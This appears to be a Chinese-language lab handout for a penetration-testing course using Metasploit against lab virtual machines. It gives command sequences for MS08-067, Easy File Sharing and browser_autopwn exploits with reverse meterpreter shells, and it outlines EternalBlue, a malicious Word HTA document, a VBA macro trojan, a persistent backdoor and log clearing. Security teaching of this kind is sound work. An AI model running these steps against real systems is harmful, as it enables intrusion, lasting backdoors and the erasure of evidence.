渗透攻击:
(一)渗透是攻击者常用的一种攻击手段,也是一种综合的高级攻击技术,同时渗透也是安全工作者所研究的一个课题,在他们口中通常被称为”渗透测试(Penetration Test)”。无论是网络渗透(Network Penetration)还是渗透测试(Penetration Test),其实际上所指的都是同一内容,也就是研究如何一步步攻击入侵某个大型网络主机服务器群组。只不过从实施的角度上看,前者是攻击者的恶意行为,而后者则是安全工作者模拟入侵攻击测试,进而寻找最佳安全防护方案的正当手段。
(二)网络渗透攻击与普通攻击的不同,网络渗透攻击与普通网络攻击的不同在于,普通的网络攻击只是单一类型的攻击。例如,在普通的网络攻击事件中,攻击者可能仅仅是利用目标网络的Web服务器漏洞,入侵网站更改网页,或者在网页上挂马。也就是说,这种攻击是随机的,而其目的也是单一而简单的。网络渗透攻击则与此不同,它是一种系统渐进型的综合攻击方式,其攻击目标是明确的,攻击目的往往不那么单一,危害性也非常严重。
(三)例如,攻击者会有针对性地对某个目标网络进行攻击,以获取其内部的商业资料,进行网络破坏等。因此,攻击者实施攻击的步骤是非常系统的,假设其获取了目标网络中网站服务器的权限,则不会仅满足于控制此台服务器,而是会利用此台服务器,继续入侵目标网络,获取整个网络中所有主机的权限。为了实现渗透攻击,攻击者采用的攻击方式绝不仅此于一种简单的Web脚本漏洞攻击。攻击者会综合运用远程溢出、木马攻击、密码破解、嗅探、ARP欺骗等多种攻击方式,逐步控制网络。
(四)总体来说,与普通网络攻击相比,网络渗透攻击具有几个特性:攻击目的的明确性,攻击步骤的逐步与渐进性,攻击手段的多样性和综合性。
实验目的:
(1)掌握Metasploit的启动、常用模块和命令种类。
(2)掌握Metasploit的基本命令。
(3)使用Metasploit对操作系统的攻击。
(4)使用Metasploit对应用程序的攻击。
(5)使用Metasploit对客户端发起攻击。
实验重点:使用Metasploit对操作系统、应用程序、客户端的攻击。
实验难点:使用Metasploit对客户端发起攻击。
实验内容:
Metasploit的基础
1、Metasploit启动的三种方法:
(1)菜单
(2)工具栏
(3)命令行
2、Metasploit的常用模块:
(1)exploit(漏洞渗透模块)
(2)payload(攻击载荷模块)
(3)auxiliary(辅助模块)
(4)post(后渗透攻击模块)
3、帮助help和?
4、命令几个种类:
(1)核心命令core command
(2)模块命令module command
(3)任务命令job command
(4)资源命令resource script command
(5)数据库后台命令database backed command
(6)登录凭证后台命令credentials backed command
Metasploit的基本命令
最常用的几个命令:
(1)show 显示
(2)search 搜索
(3)use 使用(某模块)
使用Metasploit对操作系统的攻击
实验环境:
Kali2主机:192.168.169.131
靶机(Windows XP,需要英文版):192.168.169.132
1、使用nmap的检测脚本vuln确定目标系统是否存在ms08_067漏洞:
nmap-sV --script vuln --script-args unsafe 192.168.169.132
注:--script 表示使用某类脚本进行扫描;
--script-args 表示为脚本提供默认参数。
2、渗透过程
(1)启动metasploit
msfconsole
(2)使用渗透程序
search ms08_067
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST 192.168.169.132
(3)设置控制端
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.169.131
set LPORT 8888
(4)发动攻击(成功建立会话!)
exploit
使用Metasploit对应用程序的攻击
实验环境:
Kali2主机:192.168.169.131
靶机(Windows 7,安装了Easy File Sharing HTTPServer):192.168.169.130
渗透过程:
(1)启动metasploit
msfconsole
(2)启动渗透程序
search EasyFileSharing
use exploit/windows/http/easyfilesharing_seh
show options
set RHOST 192.168.169.130
set RPORT 80
(3)设置控制端
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.169.131
set LPORT 4444
(4)发动攻击
exploit
使用Metasploit对客户端发起攻击
前面介绍的两种攻击都是主动攻击方式,除此以外,metasploit中还提供了大量的被动攻击方式。被动攻击方式需要得到受害者的配合才能成功,但是在日常生活中,这种攻击方式的成功率往往比主动攻击要高。
被动攻击的思路:渗透者构造一个攻击用的Web服务器,然后将这个Web服务器的网址发给目标用户,当目标用户使用有漏洞的浏览器打开这个网址时,攻击用的Web服务器就会向浏览器发送各种攻击脚本,如果其中某个攻击脚本攻击成功的话,就会在目标主机上建立一个meterpreter会话。
实验环境:
Kali2主机:192.168.169.131
靶机1(Windows 7,先还原到快照!测试没有成功!):192.168.169.130
靶机2(Windows XP,先还原到快照!测试中。。):192.168.169.132
渗透过程:
(1)启动metasploit
msfconsole
(2)利用辅助模块建立攻击用的Web服务器
(建议改用“auxiliary/server/browser_autopwn2”模块。使用模块1没有成功!)
search browser_autopwn
use auxiliary/server/browser_autopwn
show options
set LHOST 192.168.169.131
set SRVPORT 80
set URIPATH auto
(注:LHOST是本机IP,SRVPORT是Web服务器端口,URIPATH是服务器的目录)
如果使用模块2建立攻击Web服务器,则如下:
use auxiliary/server/browser_autopwn2
show options
set SRVHOST 192.168.169.131
set SRVPORT 8080
set URIPATH auto
(3)启动该Web服务器
exploit
……(启动时间比较久…)
(4)等所有模块成功启动后,将Web的链接发送给目标主机
(在Win7或XP上使用IE浏览器访问Web服务器)
http://192.168.169.131:80/
……
(5)出现渗透成功的多个会话。如果渗透过程结束,“回车键”返回metasploit提示状态;如果渗透过程未结束,“Ctrl+C”组合键结束。“back”命令返回到metasploit控制的上级目录。
①显示所有会话:sessions -i
②切换到某个会话(如会话id为1):sessions 1
(6)将meterpreter附加到其他进程上。
①列出目标主机上所有进程:ps
②找到某个合适的进程id(如explorer.exe的pid=1596),将meterpreter迁移到该进程:(附加到其他进程成功!!!)
migrate 1596
③可以用getpid和getuid查看当前使用的进程和用户名。
(7)在目标主机上安装一个永久性的后门文件
run persistence
(8)删除目标主机中的日志记录
clearev
实验讨论:
1、Metasploit包括哪几个种类常用的模块?
2、漏洞渗透模块、攻击载荷模块的作用分别是什么?
3、Metasploit中漏洞渗透模块威胁等级分为哪几级?我们选择漏洞渗透模块时,尽量选择哪些级别的?
4、browser_autoploit模块的作用是什么?它如何实现对目标的渗透?
Metasploit的基础
1、Metasploit启动的三种方法:
(1)菜单
(2)工具栏
(3)命令行
2、Metasploit的常用模块:
(1)exploit(漏洞渗透模块)
(2)payload(攻击载荷模块)
(3)auxiliary(辅助模块)
(4)post(后渗透攻击模块)
3、帮助help和?
4、命令几个种类:
(1)核心命令core command
(2)模块命令module command
(3)任务命令job command
(4)资源命令resource scriptcommand
(5)数据库后台命令database backedcommand
(6)登录凭证后台命令credentialsbacked command
Metasploit的基本命令
最常用的几个命令:
(1)show 显示
(2)search 搜索
(3)use 使用(某模块)
使用Metasploit对操作系统发起攻击
实验环境:填写如下IP地址
Kali 2主机IP:
靶机(64位windows 7,永恒之蓝靶机)IP:
1、使用metasploit的smb_ms17_010检测脚本,确定目标系统是否存在ms17_010漏洞。
(1)启动metasploit
(2)加载smb_ms17_010检测脚本
(3)对目标主机进行扫描
(输入命令或操作过程、结果截图并进行必要说明)
2、查找针对MS17_010漏洞的渗透模块
(输入命令或操作过程、结果截图并进行必要说明)
3、载入ms17_010_eternalblue渗透模块,查看需要设置的参数并进行设置,启动模块。
(输入命令或操作过程、结果截图并进行必要说明)
4、启动模块
(输入命令或操作过程、结果截图并进行必要说明)
5、控制目标主机
(输入命令或操作过程、结果截图并进行必要说明)
使用Metasploit对软件发起攻击
实验环境:填写如下IP地址
Kali 2主机:
靶机(32位Windows 7,安装了Easy File SharingHTTP Server)IP:
1、查找与EasyFileSharing有关的渗透模块
(1)启动Metarsploit
(2)查找与EasyFileSharing有关的渗透模块
(输入命令或操作过程、结果截图并进行必要说明)
2、载入easyfilesharing_seh渗透模块,查看需要设置的参数并进行设置,启动模块。
(输入命令或操作过程、结果截图并进行必要说明)
3、在目标靶机启动Easy File Sharing.
(输入命令或操作过程、结果截图并进行必要说明)
4、到kali中查看,会话成功建立了!
(输入命令或操作过程、结果截图并进行必要说明)
使用Metasploit对客户端发起攻击
前面介绍的两种攻击都是主动攻击方式,除此以外,metasploit中还提供了大量的被动攻击方式。被动攻击方式需要得到受害者的配合才能成功,但是在日常生活中,这种攻击方式的成功率往往比主动攻击要高。
被动攻击的思路:渗透者构造一个攻击用的Web服务器,然后将这个Web服务器的网址发给目标用户,当目标用户使用有漏洞的浏览器打开这个网址时,攻击用的Web服务器就会向浏览器发送各种攻击脚本,如果其中某个攻击脚本攻击成功的话,就会在目标主机上建立一个meterpreter会话。
使用Metersploit对客户端发起攻击
实验环境:填写如下IP地址
Kali 2主机IP:
靶机(32位Windows 7,安装了Adobe FlashPlayer插件):
1、查找与Adobe FlashPlayer有关的渗透模块
(1)启动Metarsploit
(2)查找与Adobe FlashPlayer有关的渗透模块
2、载入exploit/multi/browser/adobe_flash_hacking_team_uaf渗透模块,查看需要设置的参数并进行设置,启动模块。
(1)载入渗透模块:useexploit/multi/browser/adobe_flash_hacking_team_uaf
(2)查看需要设置的参数:show options
(3)启动模块
(输入命令或操作过程、结果截图并进行必要说明)
3、在目标靶机中访问该网址
4、到kali中查看,会话是否建立?
(输入命令或操作过程、结果截图并进行必要说明)
利用HTA文件进行渗透攻击
实验环境:填写如下IP地址
Kali 2主机IP:
靶机(32位Windows 7):
1、查找与Adobe FlashPlayer有关的渗透模块
(1)启动Metarsploit
(2)查找与office_word有关的渗透模块
2、载入exploit/windows/fileformat/office_word_hta渗透模块,查看需要设置的参数并进行设置,启动模块。
(1)载入渗透模块
(2)查看需要设置的参数
(3)启动模块
注意:(使用msf.doc或者Local IP两种方式都可以渗透目标)
I:msf.doc是生成的包含恶意HTA文件的word文件。
II:Local IP是包含恶意HTA文件的Web服务器地址。(将该网址复制到靶机中访问)
3、渗透目标靶机
有2种方式:
(1)方式1:目标靶机访问包含恶意HTA文件的Web服务器
(输入命令或操作过程、结果截图并进行必要说明)
到kali中查看,会话是否成功建立?
(2)方式2:目标靶机使用有漏洞的Office打开包含恶意HTA文件的word文件msf.doc
I:把msf.doc放到kali的网站主目录下
II:检查apache2是否已经启动,没有则启动。
III:到目标靶机(32位windows 7)下载并打开msf.doc
(输入命令或操作过程、结果截图并进行必要说明)
到kali中查看,会话是否建立?
(结果截图并进行必要说明)
使用宏病毒进行渗透攻击
实验环境:填写如下IP地址
Kali 2主机IP:
靶机(32位Windows 7):
构造一个包含宏病毒的Word文件并不复杂,只要编写一个Auto_Open函数,就可以自动引发病毒。
1、(kali主机)使用msfvenom命令生成一个VBA类型的被控端
(输入命令或操作过程、结果截图并进行必要说明)
该被控端可以分成2个部分:
第1部分是包括Auto_Open在内的几个函数:
(结果截图并进行必要说明)
第2部分是一些字符形式的攻击载荷:
(结果截图并进行必要说明)
2、(32位Windows 7)制作可以使用的宏文件
(1)在32位Windows 7中创建一个word文档(文件名:VBS.docx),单击“开发工具 / 宏”起宏名为:vbs,“创建”进入编辑部界面,将被控端第1部分(包括Auto_Open在内的几个函数)复制到Normal-NewMacros中,覆盖原来的内容。
(输入命令或操作过程、结果截图并进行必要说明)
(2)单击工具栏的“编辑”图标,返回word操作界面,将被控端第2部分(一些字符形式的攻击载荷)粘贴到文档中。
(输入命令或操作过程、结果截图并进行必要说明)
(3)保存该木马文件
(输入命令或操作过程、结果截图并进行必要说明)
3、(kali主机)启动主控端并进行相关设置
(输入命令或操作过程、结果截图并进行必要说明)
4、将该木马文件发送给目标靶机(我们在靶机中制作,不需要发送),靶机中打开该文件,里面的恶意HTA文件夹就会执行。
(输入命令或操作过程、结果截图并进行必要说明)
查看是否成功建立了会话?
(输入命令或操作过程、结果截图并进行必要说明)
6、将meterpreter附加到其他不会结束的系统进程上
(1)查看靶机上所有进程
(输入命令或操作过程、结果截图并进行必要说明)
(2)选择不会结束的系统进程(如:explorer.exe),将meterpreter迁移到该进程。
(输入命令或操作过程、结果截图并进行必要说明)
7、在目标靶机上安装一个永久性的后门文件
(输入命令或操作过程、结果截图并进行必要说明)
查看后门文件
(结果截图并进行必要说明)
8、清除日志
(输入命令或操作过程、结果截图并进行必要说明)
使用browser_autopwn2模块进行渗透攻击
使用browser_autopwn2模块可以建立一个攻击用的WEB服务器,这个服务器集成了多个浏览器漏洞,可以向浏览器发送各种攻击脚本,只要有一个攻击脚本攻击成功,即可建立会话。
实验环境:填写如下IP地址
Kali 2主机IP:
靶机(32位Windows 7):
1、查找与autopwn有关的渗透模块
(1)启动Metarsploit:msfconsole
(2)查找与autopwn有关的渗透模块
(输入命令或操作过程、结果截图并进行必要说明)
2、载入auxiliary/server/browser_autopwn2渗透模块,查看需要设置的参数并进行设置,启动模块。
(1)载入渗透模块
(2)查看需要设置的参数
(输入命令或操作过程、结果截图并进行必要说明)
(3)启动模块
所有服务启动成功,即可到目标靶机中访问该网址。
(输入命令或操作过程、结果截图并进行必要说明)
3、在目标靶机中访问该网址
(输入命令或操作过程、结果截图并进行必要说明)
4、到kali中查看,会话是否成功建立?